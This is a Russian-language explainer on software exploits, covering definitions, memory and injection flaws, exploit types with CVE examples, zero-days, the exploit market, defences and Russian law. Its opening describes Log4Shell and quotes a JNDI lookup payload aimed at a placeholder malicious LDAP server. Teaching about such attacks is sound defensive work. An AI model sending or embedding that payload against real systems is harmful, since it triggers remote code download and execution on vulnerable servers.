В декабре 2021 года пользователи Minecraft столкнулись с необычным поведением. Достаточно было отправить в чат сообщение вида ${jndi:ldap://злонамеренный-сервер/a}, как игровой сервер, который всего лишь сохранял эти данные в лог, начинал загружать и исполнять посторонний код из интернета. Никаких вложений, макросов или ссылок для перехода – всего лишь текстовая строка.
Через 24 часа инцидент получил идентификатор CVE-2021-44228, максимальный рейтинг 10/10 по шкале CVSS и название Log4Shell. Проблема оказалась в библиотеке Log4j, используемой миллионами Java-приложений – от корпоративных систем до ПО для управления складами. Разработчики Apache выпустили срочное обновление, пока мировое IT-сообщество месяцами искало уязвимые версии, злоумышленники активно сканировали сети.
Именно здесь проходит граница между «в коде есть ошибка» и «эта ошибка уже используется для взлома». Эту разницу называют эксплойтом.
Что такое эксплойт
Эксплойт представляет собой программный код, набор команд или последовательность действий, превращающих уязвимость из теоретической возможности в практический результат для злоумышленника. Термин происходит от английского глагола to exploit – «использовать в корыстных целях». Хотя русский аналог не получил широкого распространения, в документах ФСТЭК встречается более точное определение – «эксплуатация уязвимости».
Три понятия, которые часто путают даже опытные специалисты.
Уязвимость – это недостаток в программе. Например, забытая проверка длины ввода, оставленная тестовая учётка или неправильные настройки сетевого доступа. Такой дефект может существовать годами, не привлекая внимания.
Эксплойт – это инструмент, использующий конкретную уязвимость. Он точно знает, какие данные отправить и в каком формате, чтобы программа повела себя нештатно.
Полезная нагрузка (payload) – конечная цель атаки. Это может быть бекдор, шифровальщик, майнер или другой вредоносный код. Эксплойт открывает двери, нагрузка проникает внутрь.
Аналогия с домом: уязвимость – это неисправный замок, эксплойт – отмычка именно к этому замку, а вор с мешком ценностей – полезная нагрузка. Дефектный замок может годами висеть на двери, пока кто-то не узнает, как его открыть.
Важный момент: сам по себе эксплойт не является вредоносным ПО. Один и тот же код в руках злоумышленника становится оружием, а в руках специалиста по безопасности – инструментом проверки защищённости. Всё зависит от контекста использования.
Причины возникновения уязвимостей
Корень проблемы – в человеческом факторе. Разработчики работают в условиях жёстких сроков, а любой крупный программный проект – это компромисс между качеством и скоростью. Например, ядро Linux к 2026 году превысило 40 миллионов строк кода – вероятность найти там неучтённые сценарии весьма высока.
Основные категории проблем:
Ошибки работы с памятью. Классика для языков C и C++. Выход за границы буфера, использование освобождённой памяти, путаница типов данных, состояния гонки. Компиляторы не препятствуют таким ошибкам, а процессоры слепо выполняют инструкции.
Инъекции. Когда пользовательские данные интерпретируются как команды – SQL-запросы, системные вызовы или шаблоны. Log4Shell – яркий пример такой проблемы.
Логические ошибки. Даже при корректной работе с памятью и защите от инъекций могут возникать неочевидные сценарии – заказ отрицательного количества товаров, смена чужого пароля через подмену ID, аутентификация с пустыми криптографическими параметрами. Последний случай – реальная уязвимость Zerologon (CVE-2020-1472) с максимальным рейтингом опасности, обнаруженная экспертом Secura Томом Тервуртом.
Проблемы конфигурации и поставки. Открытые интерфейсы управления, стандартные пароли, случайно опубликованные резервные копии. Хотя это не ошибки кода, именно они чаще всего становятся причиной успешных атак.
Принцип работы эксплойтов
История начинается 2 ноября 1988 года. Аспирант Корнелльского университета Роберт Моррис запустил программу, которая через ошибку в сервисе fingerd перезаписывала стек и распространялась на другие компьютеры. Червь Морриса вывел из строя около 6000 узлов – десятую часть тогдашнего интернета. Виновником оказалась функция gets(), вообще не проверявшая длину ввода.
Спустя 8 лет, в 1996 году, в журнале Phrack вышла статья «Smashing the Stack for Fun and Profit» за авторством Aleph One, до сих пор используемая в обучении. Суть: программа резервирует в стеке буфер фиксированного размера (например, 64 байта), а рядом располагается адрес возврата. Если отправить 200 байт, избыток перезапишет адрес возврата. Подобрав правильные данные, можно заставить процессор выполнить произвольный код.
Далее в дело вступает шеллкод – компактный машинный код для открытия оболочки или соединения с атакующим. Он должен быть компактным, позиционно-независимым и часто – без нулевых байтов.
Защитники не остались в стороне: канарейки стека, запрет исполнения данных, рандомизация памяти. В ответ появилась Return-Oriented Programming (ROP) – техника использования существующих фрагментов кода для построения зловредной логики. Современные атаки на браузеры представляют собой сложные многоэтапные операции с подготовкой памяти и обходом защитных механизмов.
Разновидности эксплойтов
Основная классификация – по условиям работы. Удалённые эксплойты работают через сеть без предварительного доступа. Локальные требуют наличия учётной записи для повышения привилегий. Серьёзные атаки обычно комбинируют оба типа.
| Тип | Результат атаки | Пример |
|---|---|---|
| RCE – удалённое выполнение кода | Запуск команд на удалённой системе | Log4Shell, CVE-2021-44228 |
| LPE – повышение привилегий | Получение прав администратора | Dirty Pipe, CVE-2022-0847 |
| Обход аутентификации | Доступ без пароля | Zerologon, CVE-2020-1472 |
| Выход из песочницы | Преодоление изоляции процессов | Цепочки в Chrome и Safari |
| Утечка данных | Чтение чужой информации | Heartbleed, CVE-2014-0160 |
| Отказ в обслуживании | Вывод системы из строя | Логические ошибки в парсерах |

Heartbleed – особый случай, демонстрирующий, как простое упущение может стать катастрофой. В апреле 2014 года обнаружили ошибку в OpenSSL, позволявшую читать до 64 КБ памяти сервера без выполнения кода. Уязвимость существовала более двух лет.
Нулевые дни и n-day
Эксплойт нулевого дня (zero-day) использует уязвимость до выхода исправления. «Ноль» означает количество дней, что разработчик имел на подготовку патча. Такие эксплойты ценятся особенно высоко.
N-day (one-day) – эксплойты для уже исправленных уязвимостей. Хотя патч выпущен, не все успевают обновиться, а анализ исправлений часто подсказывает путь для атаки. В 2025 году зафиксировали 90 случаев использования zero-day, почти половина – в корпоративном сегменте.
PoC и боевые эксплойты
Proof-of-Concept (PoC) доказывает возможность эксплуатации уязвимости, часто вызывая простое падение сервиса. От PoC до стабильного инструмента, работающего на разных версиях ПО – большая дистанция. Готовые фреймворки вроде Metasploit или Exploit-DB значительно упрощают эту работу.
Цепочки эксплойтов
Современные устройства редко уязвимы к одной ошибке. Обычно требуется последовательность: выполнение кода → выход из песочницы → повышение привилегий → закрепление в системе. По данным Google, 90% сложных атак нацелены на мобильные устройства.
Эталонный пример – Stuxnet (2010), использовавший одновременно четыре zero-day. Вирус атаковал промышленные контроллеры Siemens, изменяя параметры центрифуг. Такое количество fresh эксплойтов в одном пакете скорее говорило о бюджете операторов, чем о мастерстве.
Веб-эксплойты
Хотя ошибки памяти выглядят эффектно, больше инцидентов связано с веб-уязвимостями: SQL-инъекции (известные с 1998 года), небезопасная десериализация, обход путей доступа, SSRF.
Летом 2023 года группировка Clop проникла в MOVEit Transfer через SQL-инъекцию (CVE-2023-34362) – одну из старейших категорий уязвимостей. Пострадали данные 90 миллионов человек.
Эксплойт-киты
В середине 2010-х появился целый бизнес – наборы эксплойтов для браузеров с панелями управления и арендой. При посещении скомпрометированного сайта такой кит определял версию ПО жертвы и подбирал подходящую атаку. Лидером был Angler, прекративший существование после задержания группы Lurk в России в 2016 году.
Стоимость эксплойтов
Рынок состоит из трёх уровней:
1. Легальные bug-bounty программы (Google, Microsoft, Apple) – выплаты до миллионов долларов. В России аналоги – Standoff Bug Bounty и BI.ZONE Bug Bounty.
2. Серый рынок брокеров (Zerodium, Operation Zero) – цены до 20 млн долларов за полные цепочки, но реальность выплат проверить сложно.
3. Криминальные площадки – значительно более низкие цены, в основном n-day и готовые доступы.
Защитные механизмы
Эволюция защиты:
- Стековые канарейки (сторожевые значения перед адресами возврата)
- DEP (запрет исполнения данных) – с 2004 года
- ASLR (рандомизация памяти) – с 2007 года
- CFG, CFI, аппаратные решения (PAC, MTE в ARM)
- Песочницы – изоляция процессов с ограниченными правами
Переход на безопасные языки (Rust, Java) в Android сократил долю memory-уязвимостей с 76% до 24%. Ядро Linux с версии 6.1 поддерживает драйверы на Rust. Однако логические ошибки и инъекции никуда не делись.
Практические рекомендации
Приоритизация исправлений по подтверждённым атакам (KEV от CISA, банк данных ФСТЭК), а не только по баллам CVSS. Важен контекст – доступность сервиса извне, наличие работающих эксплойтов.
Базовые меры: сокращение поверхности атаки, виртуальные заплатки через WAF, сегментация сети, мониторинг аномалий, инвентаризация ПО (особенно сторонних библиотек).
Пример WannaCry (2017): патч MS17-010 вышел за 8 недель до атаки, но 200 000 компьютеров в 150 странах пострадали из-за отсутствия обновлений.
Правовой статус
В России ситуация неоднозначна. Статья 273 УК РФ о создании вредоносных программ сформулирована достаточно широко. Законопроект о «белых» хакерах отклонён в 2025 году, новый пакет на рассмотрении. Безопасность исследователя обеспечивает только письменное разрешение владельца системы или участие в официальных программах.
Заключение
В 1988 интернет упал из-за непроверенной длины строки. В 2021 мир столкнулся с проблемой излишнего доверия к подстановкам в журналах. За 33 года появились десятки защитных механизмов и целая индустрия безопасности.
Уязвимости останутся, пока код пишут люди. Кто-то обязательно забудет проверить длину строки.
